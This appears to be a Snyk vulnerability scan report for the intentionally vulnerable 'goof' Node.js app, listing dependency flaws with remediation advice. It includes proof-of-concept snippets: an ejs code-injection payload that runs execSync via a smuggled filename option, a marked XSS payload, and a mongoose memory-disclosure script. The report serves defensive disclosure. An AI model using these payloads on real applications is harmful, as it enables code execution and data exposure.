Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade xml2js
to version 0.5.0 or higher.
References
medium severity
- Vulnerable module: express
- Introduced through: express@4.12.4
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › express@4.12.4Remediation: Upgrade to express@4.20.0.
Overview
express is a minimalist web framework.
Affected versions of this package are vulnerable to Cross-site Scripting due to improper handling of user input in the response.redirect
method. An attacker can execute arbitrary code by passing malicious input to this method.
Note
To exploit this vulnerability, the following conditions are required:
The attacker should be able to control the input to
response.redirect()
express must not redirect before the template appears
the browser must not complete redirection before:
the user must click on the link in the template
Remediation
Upgrade express
to version 4.20.0, 5.0.0 or higher.
References
medium severity
- Vulnerable module: mem
- Introduced through: tap@11.1.5
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › tap@11.1.5 › nyc@11.9.0 › yargs@11.1.0 › os-locale@2.1.0 › mem@1.1.0Remediation: Upgrade to tap@12.0.2.
Overview
mem is an optimization used to speed up consecutive function calls by caching the result of calls with identical input.
Affected versions of this package are vulnerable to Denial of Service (DoS). Old results were deleted from the cache and could cause a memory leak.
details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
ws
package
Remediation
Upgrade mem to version 4.0.0 or higher.
References
medium severity
- Vulnerable module: mongoose
- Introduced through: mongoose@4.2.4
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › mongoose@4.2.4Remediation: Upgrade to mongoose@4.3.6.
Overview
A potential memory disclosure vulnerability exists in mongoose.
A Buffer
field in a MongoDB document can be used to expose sensitive
information such as code, runtime memory and user data into MongoDB.
Details
Initializing a Buffer
field in a document with integer N
creates a Buffer
of length N
with non zero-ed out memory.
Example:
var x = new Buffer(100); // uninitialized Buffer of length 100
// vs
var x = new Buffer('100'); // initialized Buffer with value of '100'
Initializing a MongoDB document field in such manner will dump uninitialized
memory into MongoDB.
The patch wraps Buffer
field initialization in mongoose by converting a
number
value N
to array [N]
, initializing the Buffer
with N
in its
binary form.
Proof of concept
var mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/bufftest');
// data: Buffer is not uncommon, taken straight from the docs: http://mongoosejs.com/docs/schematypes.html
mongoose.model('Item', new mongoose.Schema({id: String, data: Buffer}));
var Item = mongoose.model('Item');
var sample = new Item();
sample.id = 'item1';
// This will create an uninitialized buffer of size 100
sample.data = 100;
sample.save(function () {
Item.findOne(function (err, result) {
// Print out the data (exposed memory)
console.log(result.data.toString('ascii'))
mongoose.connection.db.dropDatabase(); // Clean up everything
process.exit();
});
});
References
medium severity
- Vulnerable module: marked
- Introduced through: marked@0.3.5
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › marked@0.3.5Remediation: Upgrade to marked@0.3.9.
Overview
marked is a low-level compiler for parsing markdown without caching or blocking for long periods of time.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS). When mangling is disabled via option mangle
, marked doesn't escape target href
. This may allow an attacker to inject arbitrary html-event
into resulting a tag.
For example:
var marked = require('marked');
marked.setOptions({
renderer: new marked.Renderer(),
sanitize: true,
mangle: false
});
text = `
<bar"onclick="alert('XSS')"@foo>
`;
console.log(marked(text));
will render:
<p><a href="mailto:bar"onclick="alert('XSS')"@foo">bar"onclick="alert('XSS')"@foo</a></p>
Details
A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, <
can be coded as <
; and >
can be coded as >
; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses <
and >
as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
Type | Origin | Description |
---|---|---|
Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?
,&
,/
,<
,>
and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade marked
to version 0.3.9 or higher.
References
medium severity
- Vulnerable module: lodash
- Introduced through: lodash@4.17.4
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › lodash@4.17.4Remediation: Upgrade to lodash@4.17.11.
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It parses dates using regex strings, which may cause a slowdown of 2 seconds per 50k characters.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade lodash
to version 4.17.11 or higher.
References
medium severity
- Vulnerable module: istanbul-reports
- Introduced through: tap@11.1.5
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › tap@11.1.5 › nyc@11.9.0 › istanbul-reports@1.5.1Remediation: Upgrade to tap@15.0.0.
Overview
Affected versions of this package are vulnerable to Reverse Tabnabbing because of no rel
attribute in the link to https://istanbul.js.org/
.
Remediation
Upgrade istanbul-reports
to version 3.1.3 or higher.
References
medium severity
- Vulnerable module: st
- Introduced through: st@0.2.4
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › st@0.2.4Remediation: Upgrade to st@1.2.2.
Overview
st
is a module for serving static files.
Affected versions of this package are vulnerable to Open Redirect. A malicious user could send a specially crafted request, which would automatically redirect the request to another domain, controlled by the attacker.
Note: st
will only redirect if requests are served from the root(/
) and not from a subdirectory
References
medium severity
- Vulnerable module: ejs
- Introduced through: ejs@1.0.0 and ejs-locals@1.0.2
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › ejs@1.0.0Remediation: Upgrade to ejs@3.1.6.
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › ejs-locals@1.0.2 › ejs@0.8.8
Overview
ejs is a popular JavaScript templating engine.
Affected versions of this package are vulnerable to Arbitrary Code Injection via the render
and renderFile
. If external input is flowing into the options
parameter, an attacker is able run arbitrary code. This include the filename
, compileDebug
, and client
option.
POC
let ejs = require('ejs')
ejs.render('./views/test.ejs',{
filename:'/etc/passwd\nfinally { this.global.process.mainModule.require(\'child_process\').execSync(\'touch EJS_HACKED\') }',
compileDebug: true,
message: 'test',
client: true
})
Remediation
Upgrade ejs
to version 3.1.6 or higher.
References
low severity
- Vulnerable module: braces
- Introduced through: tap@11.1.5
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › tap@11.1.5 › nyc@11.9.0 › test-exclude@4.2.3 › micromatch@2.3.11 › braces@1.8.5Remediation: Upgrade to tap@12.0.2.
Overview
braces is a Bash-like brace expansion, implemented in JavaScript.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It used a regular expression (^\{(,+(?:(\{,+\})*),*|,*(?:(\{,+\})*),+)\}
) in order to detects empty braces. This can cause an impact of about 10 seconds matching time for data 50K characters long.
Disclosure Timeline
- Feb 15th, 2018 - Initial Disclosure to package owner
- Feb 16th, 2018 - Initial Response from package owner
- Feb 18th, 2018 - Fix issued
- Feb 19th, 2018 - Vulnerability published
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade braces
to version 2.3.1 or higher.
References
low severity
- Vulnerable module: debug
- Introduced through: express@4.12.4 and mongoose@4.2.4
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › express@4.12.4 › debug@2.2.0Remediation: Upgrade to express@4.15.5.
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › express@4.12.4 › finalhandler@0.3.6 › debug@2.2.0Remediation: Upgrade to express@4.15.0.
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › express@4.12.4 › send@0.12.3 › debug@2.2.0Remediation: Upgrade to express@4.15.5.
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › mongoose@4.2.4 › mquery@1.6.3 › debug@2.2.0Remediation: Upgrade to mongoose@4.11.14.
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › express@4.12.4 › serve-static@1.9.3 › send@0.12.3 › debug@2.2.0Remediation: Upgrade to express@4.15.5.
Overview
debug is a small debugging utility.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the function useColors
via manipulation of the str
argument.
The vulnerability can cause a very low impact of about 2 seconds of matching time for data 50k characters long.
Note: CVE-2017-20165 is a duplicate of this vulnerability.
PoC
Use the following regex in the %o
formatter.
/\s*\n\s*/
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade debug
to version 2.6.9, 3.1.0, 3.2.7, 4.3.1 or higher.
References
low severity
- Vulnerable module: mime
- Introduced through: express@4.12.4 and st@0.2.4
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › express@4.12.4 › send@0.12.3 › mime@1.3.4Remediation: Upgrade to express@4.16.0.
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › express@4.12.4 › serve-static@1.9.3 › send@0.12.3 › mime@1.3.4Remediation: Upgrade to express@4.16.0.
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › st@0.2.4 › mime@1.2.11Remediation: Upgrade to st@1.2.1.
Overview
mime is a comprehensive, compact MIME type module.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It uses regex the following regex /.*[\.\/\\]/
in its lookup, which can cause a slowdown of 2 seconds for 50k characters.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade mime
to version 1.4.1, 2.0.3 or higher.
References
low severity
- Vulnerable module: moment
- Introduced through: moment@2.15.1
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › moment@2.15.1Remediation: Upgrade to moment@2.19.3.
Overview
moment is a lightweight JavaScript date library for parsing, validating, manipulating, and formatting dates.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It used a regular expression (/[0-9]*['a-z\u00A0-\u05FF\u0700-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]+|[\u0600-\u06FF\/]+(\s*?[\u0600-\u06FF]+){1,2}/i
) in order to parse dates specified as strings. This can cause a very low impact of about 2 seconds matching time for data 50k characters long.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade moment
to version 2.19.3 or higher.
References
low severity
- Vulnerable module: ms
- Introduced through: mongoose@4.2.4, express@4.12.4 and others
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › mongoose@4.2.4 › ms@0.7.1Remediation: Upgrade to mongoose@4.10.2.
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › express@4.12.4 › debug@2.2.0 › ms@0.7.1Remediation: Upgrade to express@4.15.3.
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › express@4.12.4 › send@0.12.3 › ms@0.7.1Remediation: Upgrade to express@4.15.3.
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › express@4.12.4 › finalhandler@0.3.6 › debug@2.2.0 › ms@0.7.1Remediation: Upgrade to express@4.15.0.
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › express@4.12.4 › send@0.12.3 › debug@2.2.0 › ms@0.7.1Remediation: Upgrade to express@4.15.3.
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › mongoose@4.2.4 › mquery@1.6.3 › debug@2.2.0 › ms@0.7.1Remediation: Upgrade to mongoose@4.10.2.
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › express@4.12.4 › serve-static@1.9.3 › send@0.12.3 › ms@0.7.1Remediation: Upgrade to express@4.15.3.
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › express@4.12.4 › serve-static@1.9.3 › send@0.12.3 › debug@2.2.0 › ms@0.7.1Remediation: Upgrade to express@4.15.3.
-
